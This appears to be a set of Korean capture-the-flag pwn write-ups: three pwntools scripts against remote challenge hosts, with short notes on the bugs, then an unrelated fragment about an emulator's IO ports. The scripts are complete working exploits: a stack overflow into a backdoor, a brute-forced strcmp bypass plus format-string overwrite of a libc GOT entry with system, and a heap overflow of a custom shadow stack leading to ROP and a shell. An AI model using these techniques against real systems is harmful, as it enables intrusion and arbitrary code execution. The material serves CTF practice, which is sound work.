from pwn import *
# p = process("./test")
p = remote("34.171.59.234", 32377)
e = ELF("./test")
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
def integer_calc(a, b):
p.sendlineafter(b">", b"2")
p.sendlineafter(b">", str(a))
p.sendlineafter(b">", str(b))
def float_calc(a, b):
p.sendlineafter(b">", b"1")
p.sendlineafter(b">", str(a))
p.sendlineafter(b">", str(b))
def backdoor(pay):
p.sendlineafter(b">", b"1337")
p.sendlineafter(b">", pay)
# gdb.attach(p, """
# b *0x40164a
# b *0x401896
# """)
integer_calc(9, 9)
float_calc(9.9, 0.001)
backdoor(b"a" * 0x408 + p64(0x40101a) + p64(0x401740))
p.interactive()
백도어 함수 조건 맞추기 → bof
from pwn import *
# p = process("./user_management", env={"LD_PRELOAD":"./libc.so.6"})
p = remote("34.69.226.63", 31649)
e = ELF("./user_management")
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
def login(username, password):
p.sendlineafter(b":", b"3")
p.sendlineafter(b":", username)
p.sendlineafter(b":", password)
def admin_login():
p.sendline(b"1")
p.sendline(b"manage users")
p.sendline(b"MrAlphaQ")
p.sendline(b"\\x00")
def create(username, password, desc):
p.sendlineafter(b":", b"2")
p.sendlineafter(b":", username)
p.sendlineafter(b":", password)
p.sendlineafter(b":", desc)
def bf():
while(True):
admin_login()
success = p.recvline()
if b"Logged in" in success:
break
def view():
p.sendlineafter(b":", b"5")
def logout():
p.sendlineafter(b":", b"4")
bf()
# ret = 47
# rsp = 46
create(b"/bin/sh", b"a", b"%p_" * 47)
logout()
login(b"/bin/sh", b"a")
view()
p.recvuntil(b"_")
p.recvuntil(b"_")
libc = int(p.recvuntil(b"_").strip(b"_"), 16) - 0x114887
print("libc_base : " + hex(libc))
one_gadget = libc + 0xebc85
print("one_gadget : " + hex(one_gadget))
libc_got = libc + 0x21a098
system = libc + 0x50d70
for i in range(42):
p.recvuntil(b"_")
ret_addr = int(p.recvuntil(b"_").strip(b"_"), 16) + 0x8
print("ret_addr : " + hex(ret_addr))
logout()
bf()
pay = '%{}c%6$hn'.format((system & 0xffff)).encode()
pay += '%{}c%7$hn'.format(((system >> 16) & 0xffff) - (system & 0xffff) + 0x10000).encode()
create(pay, b"b", p64(libc_got) + p64(libc_got + 2) + b"a" * 0x180)
logout()
login(pay, b"b")
view()
logout()
login(b"/bin/sh", b"a")
# gdb.attach(p, """
# brva 0x1E63
# brva 0x1dff
# """)
view()
# p.sendlineafter(b":", b"6")
p.interactive()
user 생성하려면 admin 로그인 필요 → pw rand값 0x00으로 시작할까지 브루트 포스 → strcmp우회
fsb를 통해 libc got 덮어서 익스
from pwn import *
context.arch = 'amd64'
#r = process('./chall')
r = remote('34.44.175.226', 32659)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def decrypt(cipher):
key = 0
plain = 0
for i in range(1,6):
bits = 64-12*i
if(bits < 0): bits = 0
plain = ((cipher ^ key) >> bits) << bits
key = plain >> 12
heap_base = key << 12
return plain, heap_base
def find_gadget(libc):
libc_data = open(libc.path, 'rb').read()
addr = libc.sym['login']
for off in range(addr, addr + 0x100000):
if libc_data[off:off + 3] == b'\\x48\\x8d\\x7c': # find lea rdi, [rsp+24], ... call j_strncpy
res = disasm(libc_data[off:off + 20], offset=False, byte=False).replace('\\n', ';')
if 'call' not in res:
continue
first = off
break
addr = libc.sym['wcscspn']
for off in range(addr, addr + 0x1000):
if libc_data[off] == 0xe8: # find call j_wcschr why 0xe8 ?
second = off
break
return first, second
def find_original_value(libc):
libc_data = open(libc.path, 'rb').read()
off = libc.sym['memcpy'] + 0xd5
log.info(f'memcpy = {hex(libc.sym["memcpy"])}')
if libc_data[off: off + 2] == b'\\x48\\x8d':
opcode = libc_data[off + 3:off + 7].ljust(8, b'\\x00')
memcpy_sse2_unaligned_erms_addr = u64(opcode) + off + 7
off = libc.sym['memchr'] + 0xb
if libc_data[off: off + 2] == b'\\x48\\x8d':
opcode = libc_data[off + 3:off + 7].ljust(8, b'\\x00')
memchr_sse2_addr = u64(opcode) + off + 7
return memcpy_sse2_unaligned_erms_addr, memchr_sse2_addr
def get_got_plt_table(libc):
it = libc.get_section_by_name('.rela.plt').iter_relocations()
irelas = []
r = {}
for i in it:
if i['r_info'] == 0x25:
irelas.append(i)
revsymbols = defaultdict(list)
for name, addr in libc.symbols.items():
revsymbols[addr].append(name)
if 'got.' in name:
r[name] = addr
for i in irelas:
symname = revsymbols[i['r_addend']]
r[symname[-1]] = i['r_offset']
return r
def get_idx(target, base, bytes=8):
return (target - base) // bytes
def xrop(libc, func):
table = got_plt_table
tab = [0 for x in range(0x2b)]
target = libc.get_section_by_name('.got.plt').header.sh_addr + 0x18
func_got_plt = table[func]
tab[get_idx(func_got_plt, target)] = libc.address + first_gadget
tab[get_idx(table['strncpy'], target)] = libc.address + second_gadget
tab[get_idx(table['wcschr'], target)] = libc.sym['gets'] + 8
tab[get_idx(table['memcpy'], target)] = libc.address + orginal_memcpy_addr
tab[get_idx(table['memchr'], target)] = libc.address + orginal_memchr_addr
tab[get_idx(table['mempcpy'], target)] = libc.sym['mempcpy']
return libc.address + target, flat(tab)
def write(index, value):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'index: ', str(index).encode())
r.sendlineafter(b'msg: ', value)
def show(index):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'index: ', str(index).encode())
r.recvline()
return r.recvuntil(b'\\n\\n')
def exploit():
r.sendlineafter(b'> ', b'3')
got_plt_table = get_got_plt_table(libc)
first_gadget, second_gadget = find_gadget(libc)
orginal_memcpy_addr, orginal_memchr_addr = find_original_value(libc)
success(f'orginal_memcpy_addr : {hex(orginal_memcpy_addr)}')
success(f'orginal_memchr_addr : {hex(orginal_memchr_addr)}')
######## heap leak ########
write(0, b'AAAA')
heap_leak, heap_base = decrypt(u64(show(2)[:-2] + b'\\x00\\x00'))
success(f'heap leak = {hex(heap_leak)}')
######## libc leak ########
payload = b''
payload += b'A'*0x20
payload += p64(0x0) # vuln ret
payload += p64(heap_leak - 0xc0)
write(0, payload)
libc.address = u64(show(1)[:-2] + b'\\x00\\x00') - libc.libc_start_main_return
success(f'libc.address = {hex(libc.address)}')
######## exploit ########
rop = ROP(libc)
rdi = rop.find_gadget(["pop rdi", 'ret'])[0]
ret = rdi + 1
# strlen -> strncpy -> wcschr (ROP)
target, payload2 = xrop(libc, 'strlen')
payload1 = b''
payload1 += b'A'*0x20
payload1 += p64(0x0) # vuln ret
payload1 += p64(target)
#gdb.attach(r)
#sleep(2)
write(0, payload1) # overflow main shadow and overwrite vuln shadow msg with target
write(1, payload2) # overwrite target
payload = flat([
0x1, 0x2, 0x3, 0x4, 0x5,
ret, ret,
rdi, libc.search(b"/bin/sh").__next__(), libc.sym['system'] + 27
])
# wcschr(overwritten gets)
r.sendline(payload)
r.recvuntil(b'aa')
r.interactive()
custom shadow stack
shadow 구조체는 힙에 존재하는데 입력받는 함수에서 gets함수로 힙 overflow 취약점 발생
main 함수의 ret_address 값이 들어있는 구조체의 주소인 index 0번에 AAAA
를 입력하고, show 함수를 호출하면 OOB 검증 기능이 존재하지 않기 때문에 이미 pop된 shd 구조체 포인터를 참조할 수 있고, 이는 heap 주소를 leak할 수 있기 때문에 heap base를 획득할 수 있다.
write 함수에서 heap overflow 취약점을 이용해서 index 0번(main_shd
)에 다음 payload를 보내게 되면 sub_12AF_shd
값에 덮어쓸 수 있기 때문에 next_shd→msg
값을 덮을 수 있다. (이 때, sub_12AF
함수는 종료되지 않아서, 해당 함수의 return address 값은 임의 값으로 덮어도 상관이 없다.)이를 main_shd
의 heap 주소로 덮고, show 함수를 호출하여 1번 index를 확인하면 main함수의 return address값을 leak할 수 있고, libc base주소를 얻을 수 있다.
이제 show 기능은 2번 이용해서 이용할 수 없으므로, AAW만 진행할 수 있다. AAW는sub_12AF_shd
의 msg값을 덮어서 진행할 수 있기 때문에 특정 주소에 AAW가능
libc got 덮어서 익스
Emulator.c:init_io에는 많은 IO 포트 작업이 정의되어 있음
init_io_reg(VBK, read_VBK, write_VBK);
void write_VBK(byte data){
bus->VRAM = bus->mapper->VRAM_banks[data];
bus->mapper->cur_VRAM = data;
}